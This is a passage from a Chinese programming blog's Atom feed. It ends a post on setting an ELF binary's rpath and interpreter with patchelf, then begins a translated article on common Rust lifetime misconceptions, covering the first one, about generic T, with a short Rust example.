&lt;p&gt;当你无法编译程序时，也可以通过其他方式修改rpath和interpreter。这种情况需要使用到一个工具&lt;code&gt;patchelf&lt;&#x2F;code&gt;，通过&lt;code&gt;dnf install patchelf&lt;&#x2F;code&gt;即可安装。你可以通过它修改elf文件的rpath和interpreter：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;patchelf --set-rpath &amp;#x2F;my&amp;#x2F;lib your_program
patchelf --set-interpreter &amp;#x2F;my&amp;#x2F;lib&amp;#x2F;ld-linux.so.2 your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;除了绝对路径，一种比较常见的方式是在部署前，使用&lt;code&gt;pwd&lt;&#x2F;code&gt;获取当前路径，使用相对路径指向本地lib。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;patchelf --set-rpath `pwd`&amp;#x2F;..&amp;#x2F;lib your_program
patchelf --set-interpreter `pwd`&amp;#x2F;..&amp;#x2F;lib&amp;#x2F;ld-linux-x86-64.so.2 .&amp;#x2F;your_program
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>rust-lifetime-misconceptions</title>
        <published>2024-09-24T00:00:00+00:00</published>
        <updated>2024-09-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/rust-lifetime-misconceptions/"/>
        <id>https://vercel.juzhong.asia/obsidian/rust-lifetime-misconceptions/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/rust-lifetime-misconceptions/">&lt;h1 id=&quot;rust-lifetime-misconceptions&quot;&gt;rust-lifetime-misconceptions&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;rust-zhong-chang-jian-de-you-guan-sheng-ming-zhou-qi-de-wu-jie&quot;&gt;Rust 中常见的有关生命周期的误解&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;目录&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E5%BC%95%E8%A8%80&quot;&gt;引言&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E8%AF%AF%E8%A7%A3&quot;&gt;误解&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#1-t-%E5%8F%AA%E5%8C%85%E5%90%AB%E6%89%80%E6%9C%89%E6%9D%83%E7%B1%BB%E5%9E%8B&quot;&gt;1) &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#1-t-%E5%8F%AA%E5%8C%85%E5%90%AB%E6%89%80%E6%9C%89%E6%9D%83%E7%B1%BB%E5%9E%8B&quot;&gt;&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#1-t-%E5%8F%AA%E5%8C%85%E5%90%AB%E6%89%80%E6%9C%89%E6%9D%83%E7%B1%BB%E5%9E%8B&quot;&gt; 只包含所有权类型&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#2-%E5%A6%82%E6%9E%9C-t-static-%E9%82%A3%E4%B9%88-t-%E7%9B%B4%E5%88%B0%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9D%9F%E4%B8%BA%E6%AD%A2%E9%83%BD%E4%B8%80%E5%AE%9A%E6%98%AF%E6%9C%89%E6%95%88%E7%9A%84&quot;&gt;2) 如果 &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#2-%E5%A6%82%E6%9E%9C-t-static-%E9%82%A3%E4%B9%88-t-%E7%9B%B4%E5%88%B0%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9D%9F%E4%B8%BA%E6%AD%A2%E9%83%BD%E4%B8%80%E5%AE%9A%E6%98%AF%E6%9C%89%E6%95%88%E7%9A%84&quot;&gt;&lt;code&gt;T: &#x27;static&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#2-%E5%A6%82%E6%9E%9C-t-static-%E9%82%A3%E4%B9%88-t-%E7%9B%B4%E5%88%B0%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9D%9F%E4%B8%BA%E6%AD%A2%E9%83%BD%E4%B8%80%E5%AE%9A%E6%98%AF%E6%9C%89%E6%95%88%E7%9A%84&quot;&gt; 那么 &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#2-%E5%A6%82%E6%9E%9C-t-static-%E9%82%A3%E4%B9%88-t-%E7%9B%B4%E5%88%B0%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9D%9F%E4%B8%BA%E6%AD%A2%E9%83%BD%E4%B8%80%E5%AE%9A%E6%98%AF%E6%9C%89%E6%95%88%E7%9A%84&quot;&gt;&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#2-%E5%A6%82%E6%9E%9C-t-static-%E9%82%A3%E4%B9%88-t-%E7%9B%B4%E5%88%B0%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9D%9F%E4%B8%BA%E6%AD%A2%E9%83%BD%E4%B8%80%E5%AE%9A%E6%98%AF%E6%9C%89%E6%95%88%E7%9A%84&quot;&gt; 直到程序结束为止都一定是有效的&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#3-a-t-%E5%92%8C-t-a-%E6%98%AF%E4%B8%80%E5%9B%9E%E4%BA%8B&quot;&gt;3) &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#3-a-t-%E5%92%8C-t-a-%E6%98%AF%E4%B8%80%E5%9B%9E%E4%BA%8B&quot;&gt;&lt;code&gt;&amp;amp;amp;&#x27;a T&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#3-a-t-%E5%92%8C-t-a-%E6%98%AF%E4%B8%80%E5%9B%9E%E4%BA%8B&quot;&gt; 和 &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#3-a-t-%E5%92%8C-t-a-%E6%98%AF%E4%B8%80%E5%9B%9E%E4%BA%8B&quot;&gt;&lt;code&gt;T: &#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#3-a-t-%E5%92%8C-t-a-%E6%98%AF%E4%B8%80%E5%9B%9E%E4%BA%8B&quot;&gt; 是一回事&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#4-%E6%88%91%E7%9A%84%E4%BB%A3%E7%A0%81%E9%87%8C%E4%B8%8D%E5%90%AB%E6%B3%9B%E5%9E%8B%E4%B9%9F%E4%B8%8D%E5%90%AB%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E6%B3%A8%E8%A7%A3&quot;&gt;4) 我的代码里不含泛型也不含生命周期注解&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#5-%E5%A6%82%E6%9E%9C%E7%BC%96%E8%AF%91%E9%80%9A%E8%BF%87%E4%BA%86%E9%82%A3%E4%B9%88%E6%88%91%E6%A0%87%E6%B3%A8%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E5%B0%B1%E6%98%AF%E6%AD%A3%E7%A1%AE%E7%9A%84&quot;&gt;5) 如果编译通过了，那么我标注的生命周期就是正确的&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#6-%E5%B7%B2%E8%A3%85%E7%AE%B1%E7%9A%84-trait-%E5%AF%B9%E8%B1%A1%E4%B8%8D%E5%90%AB%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E6%B3%A8%E8%A7%A3&quot;&gt;6) 已装箱的 trait 对象不含生命周期注解&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#7-%E7%BC%96%E8%AF%91%E6%8A%A5%E9%94%99%E7%9A%84%E4%BF%A1%E6%81%AF%E4%BC%9A%E5%91%8A%E8%AF%89%E6%88%91%E6%80%8E%E6%A0%B7%E4%BF%AE%E5%A4%8D%E6%88%91%E7%9A%84%E7%A8%8B%E5%BA%8F&quot;&gt;7) 编译报错的信息会告诉我怎样修复我的程序&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#8-%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E5%8F%AF%E4%BB%A5%E5%9C%A8%E8%BF%90%E8%A1%8C%E6%97%B6%E5%8A%A8%E6%80%81%E5%8F%98%E9%95%BF%E6%88%96%E5%8F%98%E7%9F%AD&quot;&gt;8) 生命周期可以在运行时动态变长或变短&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#9-%E5%B0%86%E7%8B%AC%E5%8D%A0%E5%BC%95%E7%94%A8%E9%99%8D%E7%BA%A7%E4%B8%BA%E5%85%B1%E4%BA%AB%E5%BC%95%E7%94%A8%E6%98%AF-safe-%E7%9A%84&quot;&gt;9) 将独占引用降级为共享引用是 safe 的&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#10-%E5%AF%B9%E9%97%AD%E5%8C%85%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%9C%81%E7%95%A5%E8%A7%84%E5%88%99%E5%92%8C%E5%87%BD%E6%95%B0%E4%B8%80%E6%A0%B7&quot;&gt;10) 对闭包的生命周期省略规则和函数一样&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#11-static-%E5%BC%95%E7%94%A8%E6%80%BB%E8%83%BD%E8%A2%AB%E5%BC%BA%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA-a-%E5%BC%95%E7%94%A8&quot;&gt;11) &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#11-static-%E5%BC%95%E7%94%A8%E6%80%BB%E8%83%BD%E8%A2%AB%E5%BC%BA%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA-a-%E5%BC%95%E7%94%A8&quot;&gt;&lt;code&gt;&#x27;static&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#11-static-%E5%BC%95%E7%94%A8%E6%80%BB%E8%83%BD%E8%A2%AB%E5%BC%BA%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA-a-%E5%BC%95%E7%94%A8&quot;&gt; 引用总能被强制转换为 &lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#11-static-%E5%BC%95%E7%94%A8%E6%80%BB%E8%83%BD%E8%A2%AB%E5%BC%BA%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA-a-%E5%BC%95%E7%94%A8&quot;&gt;&lt;code&gt;&#x27;a&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#11-static-%E5%BC%95%E7%94%A8%E6%80%BB%E8%83%BD%E8%A2%AB%E5%BC%BA%E5%88%B6%E8%BD%AC%E6%8D%A2%E4%B8%BA-a-%E5%BC%95%E7%94%A8&quot;&gt; 引用&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E6%80%BB%E7%BB%93&quot;&gt;总结&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E8%AE%A8%E8%AE%BA&quot;&gt;讨论&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E6%8B%93%E5%B1%95%E9%98%85%E8%AF%BB&quot;&gt;拓展阅读&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;pretzelhammer&#x2F;rust-blog&#x2F;blob&#x2F;master&#x2F;posts&#x2F;translations&#x2F;zh-hans&#x2F;common-rust-lifetime-misconceptions.md#%E8%AF%91%E8%80%85%E6%B3%A8&quot;&gt;译者注&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;yin-yan&quot;&gt;引言&lt;&#x2F;h2&gt;
&lt;p&gt;我曾经也抱有上述的这些误解，并且现在仍有许多初学者深陷其中。本文中我使用的术语可能并不那么官方，因此下面列出了一个表格，记录我使用的短语及其想表达的含义。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;短语&lt;&#x2F;th&gt;&lt;th&gt;意义&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;1) 所有可能类型的集合&lt;em&gt;或&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;2) 上述集合中的某一个具体类型&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;所有权类型&lt;&#x2F;td&gt;&lt;td&gt;某些非引用类型，其自身拥有所有权 例如&lt;code&gt;i32&lt;&#x2F;code&gt;,&lt;code&gt;String&lt;&#x2F;code&gt;,&lt;code&gt;Vec&lt;&#x2F;code&gt;等等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1) 借用类型&lt;em&gt;或&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;2) 引用类型&lt;&#x2F;td&gt;&lt;td&gt;引用类型，不考虑可变性 例如&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;mut i32&lt;&#x2F;code&gt;等等&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1) 可变引用&lt;em&gt;或&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;2) 独占引用&lt;&#x2F;td&gt;&lt;td&gt;独占可变引用, 即&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;1) 不可变引用&lt;em&gt;或&lt;&#x2F;em&gt;&lt;br &#x2F;&gt;2) 共享引用&lt;&#x2F;td&gt;&lt;td&gt;可共享不可变引用, 即&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;wu-jie&quot;&gt;误解&lt;&#x2F;h2&gt;
&lt;p&gt;简单来讲，一个变量的生命周期是指一段时期，在这段时期内，该变量所指向的内存地址中的数据是有效的，这段时期是由编译器静态分析得出的，有效性由编译器保证。接下来我将探讨这些常见误解的细节。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;1-t-zhi-bao-han-suo-you-quan-lei-xing&quot;&gt;1) &lt;code&gt;T&lt;&#x2F;code&gt; 只包含所有权类型&lt;&#x2F;h3&gt;
&lt;p&gt;这更像是对泛型的误解而非对生命周期的误解，但在 Rust 中，泛型与生命周期的关系是如此紧密，以至于不可能只讨论其中一个而忽视另外一个。&lt;&#x2F;p&gt;
&lt;p&gt;当我刚开始学习 Rust 时，我知道 &lt;code&gt;i32&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;, 和 &lt;code&gt;&amp;amp;mut i32&lt;&#x2F;code&gt; 是不同的类型，同时我也知泛型 &lt;code&gt;T&lt;&#x2F;code&gt; 表示所有可能类型的集合。然而，尽管能分别理解这两个概念，但我却没能将二者结合起来。在当时我这位 Rust 初学者的眼里，泛型是这样运作的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;i32&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;mut i32&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;其中 &lt;code&gt;T&lt;&#x2F;code&gt; 包全体所有权类型；&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 包括全体不可变引用；&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 包括全体可变引用；&lt;code&gt;T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;, 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 是不相交的有限集。简洁明了，符合直觉，却完全错误。事实上泛型是这样运作的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;类型&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;例子&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;mut i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;&amp;amp;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;mut &amp;amp;mut i32&lt;&#x2F;code&gt;, ...&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;&amp;amp;i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;&amp;amp;mut i32&lt;&#x2F;code&gt;, ...&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;&amp;amp;mut i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;mut &amp;amp;mut i32&lt;&#x2F;code&gt;,&lt;code&gt;&amp;amp;mut &amp;amp;i32&lt;&#x2F;code&gt;, ...&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;T&lt;&#x2F;code&gt;, &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt;, 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 都是无限集，因为你可以借用一个类型无限次。&lt;code&gt;T&lt;&#x2F;code&gt; 是 &lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 的超集。&lt;code&gt;&amp;amp;T&lt;&#x2F;code&gt; 和 &lt;code&gt;&amp;amp;mut T&lt;&#x2F;code&gt; 是不相交的集合. 下面有一些例子来验证这些概念：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;trait Trait {}

impl&amp;lt;T&amp;gt; Trait for T {}

impl&amp;lt;T&amp;gt; Trait for &amp;amp;T {} &amp;#x2F;&amp;#x2F; 编译错误

impl&amp;lt;T&amp;gt; Trait for &amp;amp;mut T {} &amp;#x2F;&amp;#x2F; 编译错误
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述代码不能编译通过：&lt;&#x2F;p&gt;
